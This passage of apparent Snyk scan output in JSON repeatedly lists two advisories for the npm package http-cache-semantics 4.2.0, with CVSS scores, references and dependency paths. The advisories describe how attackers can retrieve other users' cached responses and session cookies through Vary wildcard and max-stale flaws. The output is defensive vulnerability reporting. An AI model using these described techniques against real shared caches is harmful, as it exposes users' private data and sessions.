"cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", 